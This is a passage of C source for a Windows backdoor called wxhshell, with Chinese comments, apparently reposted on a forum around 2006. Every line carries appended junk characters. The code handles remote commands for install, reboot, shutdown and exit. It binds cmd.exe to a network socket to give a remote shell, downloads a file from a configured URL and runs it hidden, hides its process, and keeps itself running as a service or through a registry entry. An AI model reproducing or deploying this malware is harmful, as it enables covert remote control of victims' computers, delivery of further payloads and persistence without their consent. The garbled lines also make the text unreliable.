  // 帮助 XZk%5t|t  
  case '?': { "Ua-7Q&A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iT{4-j7|P4  
    break; `. JW_F)1  
  } y>t:flD*  
  // 安装 &uE )Vr4R  
  case 'i': { N`IXSE  
    if(Install()) ~),%w*L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /y{fDCC  
    else ?,riwDI 2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;0kAm Vy  
    break; V*s\~h)  
    } nHbi{,3  
  // 卸载 T=pP  
  case 'r': { _J \zj  
    if(Uninstall()) #y#TEw,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X1P1 $RdkR  
    else 4.,|vtp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^kcuRJ0*$  
    break; 8i;drvf  
    } {ST8'hY  
  // 显示 wxhshell 所在路径 ZMMx)}hS  
  case 'p': { ec#`9w$  
    char svExeFile[MAX_PATH];  gh[q*%#  
    strcpy(svExeFile,"\n\r"); 3O*iv{-&  
      strcat(svExeFile,ExeFile); *>qc6d@'  
        send(wsh,svExeFile,strlen(svExeFile),0); %KO8 i)n  
    break; 5s^vC2$)  
    } Wx3DWY;  
  // 重启 r]xN&Ne5Q  
  case 'b': { N9d^;6;i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [-l>f P0  
    if(Boot(REBOOT)) 8g{Mv#b%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ygg+=@].@  
    else { ;8vB7|54.  
    closesocket(wsh); D +0il=5  
    ExitThread(0); r,IekFBs  
    } c%,ky$'18  
    break; 11QZ- ^  
    } j^b &Q  
  // 关机 L T`T~|pz  
  case 'd': { 9HN&M*}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :tFc Pc'  
    if(Boot(SHUTDOWN)) yO8@.-jb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J| &aqY  
    else { -,/6 Wn'j  
    closesocket(wsh); # {k$Fk  
    ExitThread(0); Gl{'a1  
    } o92BGqA>&  
    break; }T}c%p  
    } emJZ+:%  
  // 获取shell "dndhoMq  
  case 's': { !X"nN9k  
    CmdShell(wsh); aDz% %%:r  
    closesocket(wsh); +ah4 K(+3  
    ExitThread(0); 3C=QWw?  
    break; dMjQV&  
  } t4;gY298  
  // 退出 ={o4lFe3v(  
  case 'x': { {c?{M.R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^|h_[>  
    CloseIt(wsh); F3!6}u\F  
    break; &-NGVPk81`  
    } ZI$P Qz2i  
  // 离开 X0ugnQ6  
  case 'q': { S]fkA6v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }3Ke  
    closesocket(wsh); VrT-6r'Y  
    WSACleanup(); (]mBAQ#hw  
    exit(1); JM0+-,dl[  
    break; Z[z" v  
        } \hlS?uD\  
  } TGG=9a]m  
  } mg70%=qM0f  
j4@6`[n:  
  // 提示信息 *R4=4e2#S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BH}rg,]G  
} \C;Yn6PK0  
  } L*Ffic  
>W/mRv&  
  return; j1Sjw6}GCH  
} *pS3xit~  
%y>*9$<pXe  
// shell模块句柄 'dQGb-<_<  
int CmdShell(SOCKET sock) $i8oLSRV  
{ rjfWty%6pX  
STARTUPINFO si; 1$ }Tn  
ZeroMemory(&si,sizeof(si)); ]x& R=)P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \mb@-kM)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;/23CFYM  
PROCESS_INFORMATION ProcessInfo; }|=Fnyj  
char cmdline[]="cmd"; K43`$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S9b=?? M)  
  return 0; 7PfNPz<4+  
} a&mL Dh/  
[UdJ(cGf  
// 自身启动模式 t]3:vp5N]  
int StartFromService(void) H,/ =<Th;i  
{ `7`` 1TL  
typedef struct _q-k1$ o$  
{ %ID48_>*  
  DWORD ExitStatus; )99^58my  
  DWORD PebBaseAddress; 5K|`RzZ`B$  
  DWORD AffinityMask; 5D^2 +`$/  
  DWORD BasePriority; W1M Bk[:Q  
  ULONG UniqueProcessId; 4ee-tKH  
  ULONG InheritedFromUniqueProcessId; 0Iyb}  
}   PROCESS_BASIC_INFORMATION; '|tmmoY6a:  
<[gN4x>'  
PROCNTQSIP NtQueryInformationProcess; 8&x&Ou$("V  
/^~)iTwH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y(C',Xn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \dB z-H'@  
ij_5=4aZ-  
  HANDLE             hProcess; !YM:?%B  
  PROCESS_BASIC_INFORMATION pbi; ~:0U.v_V  
h}m9L!+n8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0'5N[Bvp  
  if(NULL == hInst ) return 0; ?v+el,  
GIkVU6Q}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '|%\QWuZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u8x#XESR7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z^KBV ^n  
n? ^oQX}.\  
  if (!NtQueryInformationProcess) return 0; l~1l~Gx_&n  
\H PB{ ;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sA"B/C|(g  
  if(!hProcess) return 0; \<} e?Yx%  
gZz5P>^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mX @xV*  
*L<<S=g$2  
  CloseHandle(hProcess); tOQnxKzu  
/I`-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k1D|Cpnp  
if(hProcess==NULL) return 0; VB+_ kR6Zv  
zP!j {y4w  
HMODULE hMod; dHn,;Vv^6  
char procName[255]; R C!~eJG!  
unsigned long cbNeeded; $U^ Ms!'L  
);p:[=$71  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @&Af [X4s  
-?)z@Lc  
  CloseHandle(hProcess); ZoqE,ucH  
6099w0fR`  
if(strstr(procName,"services")) return 1; // 以服务启动 *2m{i:3  
#("E) P  
  return 0; // 注册表启动 5G#2#Al(F  
} ~P-^An^  
8hX /~-H  
// 主模块 SmP&wNHQf  
int StartWxhshell(LPSTR lpCmdLine) c`)[-  
{ k#5Qwxu`  
  SOCKET wsl; &x[V<Gq  
BOOL val=TRUE; :{#w-oC>6P  
  int port=0; 9$R}GK  
  struct sockaddr_in door; )*BG-nM u  
jpiBHi]5+  
  if(wscfg.ws_autoins) Install(); EBUCG"e  
Q\le3KB  
port=atoi(lpCmdLine); :RXzqC  
[-=y*lx %g  
if(port<=0) port=wscfg.ws_port; 2B=BRVtSs  
\q|<\~A  
  WSADATA data; 1|7t q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A9y3B^\*  
Q,>]f@m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R6irL!akAd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X_wPuU%  
  door.sin_family = AF_INET; MF5o\-&dN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JjH141 n%D  
  door.sin_port = htons(port); cs Gd}2VE  
gCI{g. [I!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E*UE?4FSw|  
closesocket(wsl); +78cQqDY!  
return 1; '!XVz$C  
} U!524"@%U`  
)#025>$z  
  if(listen(wsl,2) == INVALID_SOCKET) { G9 ra;.  
closesocket(wsl); pb|,rLNZ  
return 1; Ob h@d|  
} iq`caoi  
  Wxhshell(wsl); p y%RR*4#  
  WSACleanup(); ~d=Y98'xS  
}m.45n/  
return 0; p) m0\  
,\ zx4 *  
} I73=PfS:m  
SH1)@K-  
// 以NT服务方式启动 d`J~w/] `\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o#=O5@>ai  
{ ee .,D  
DWORD   status = 0; !,cfA';S  
  DWORD   specificError = 0xfffffff; ?%i~~hfH#N  
1C<@QrT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e#|YROHf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ECvTmU'=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u:%Ln_S  
  serviceStatus.dwWin32ExitCode     = 0; ')KuLVE}S  
  serviceStatus.dwServiceSpecificExitCode = 0; tE;c>=>t  
  serviceStatus.dwCheckPoint       = 0; ")eY{C  
  serviceStatus.dwWaitHint       = 0; eDS,}Z'  
1HBXD\!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :#Nrypsu  
  if (hServiceStatusHandle==0) return; Nu7lPEM  
%"BJW  
status = GetLastError(); !4(QeV-=  
  if (status!=NO_ERROR) 1R7w  
{ cP >[H:\Xc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a3SBEkC  
    serviceStatus.dwCheckPoint       = 0; Q-y`IPtA<  
    serviceStatus.dwWaitHint       = 0; J*+[?FXRL  
    serviceStatus.dwWin32ExitCode     = status; Ew*SA  
    serviceStatus.dwServiceSpecificExitCode = specificError; irKM?#h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9qX)FB@'i;  
    return; XWq@47FR  
  } j4}Q  
V5bB$tL}3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LHd9q ^D  
  serviceStatus.dwCheckPoint       = 0; ?=V;5H.  
  serviceStatus.dwWaitHint       = 0; Z6IWQo,)Rh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DN;3VT.-  
} z?'z{+HY  
"g&hsp+i"A  
// 处理NT服务事件,比如:启动、停止 wg]VG,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Oc%W_Gb7  
{ *apkw5B}C  
switch(fdwControl) CK(`]-q>,  
{  /J[s5{  
case SERVICE_CONTROL_STOP: ygYy [IZ  
  serviceStatus.dwWin32ExitCode = 0; -qdt$jIM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?OVje9  
  serviceStatus.dwCheckPoint   = 0; j. mla  
  serviceStatus.dwWaitHint     = 0; X \qG WpN%  
  { J1@skj4#\~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `{9bf)vP6  
  } my%MXTm2  
  return; p'\zL:3  
case SERVICE_CONTROL_PAUSE: |Ju d*z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lYhC2f m_  
  break; ZhY03>X  
case SERVICE_CONTROL_CONTINUE: |H>;a@2d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5Tq*]Z E  
  break; I9*BT T]  
case SERVICE_CONTROL_INTERROGATE: 3_ko=& B$  
  break; (ty&$  
}; 5+a5p C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Xw0i\G  
} C{OkbE"Vym  
s%^@@Dk  
// 标准应用程序主函数 e@7UL|12  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) du_~P"[  
{ N."x@mV  
d8K|uEHVz  
// 获取操作系统版本 . :~E.b  
OsIsNt=GetOsVer(); z"f+;1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vF1Fcp.@  
w$"^)E G,7  
  // 从命令行安装 nB6 $*'  
  if(strpbrk(lpCmdLine,"iI")) Install(); O2"5\@HfE  
4|;Ys-Q  
  // 下载执行文件 (h'Bz6K  
if(wscfg.ws_downexe) { vL8Rg} Jh4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;2[),k  
  WinExec(wscfg.ws_filenam,SW_HIDE); o2!wz8  
} 6o4Y]C2W{1  
BJKv9x1jK  
if(!OsIsNt) { `\J,%J  
// 如果时win9x,隐藏进程并且设置为注册表启动 P~s u]+  
HideProc(); D.gD4g_O/  
StartWxhshell(lpCmdLine); yX/{eX5dr  
} $N\k*=  
else 8&yI1XM|  
  if(StartFromService()) UT0}Ce>e  
  // 以服务方式启动 GI6]Ecc  
  StartServiceCtrlDispatcher(DispatchTable); B[9y<FB+  
else 5&qBG@Hw]  
  // 普通方式启动 KkCsQ~po  
  StartWxhshell(lpCmdLine); wlgR = l  
izs=5  
return 0; ojc.ykP$  
}
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只看该作者 1 发表于: 2006-10-10
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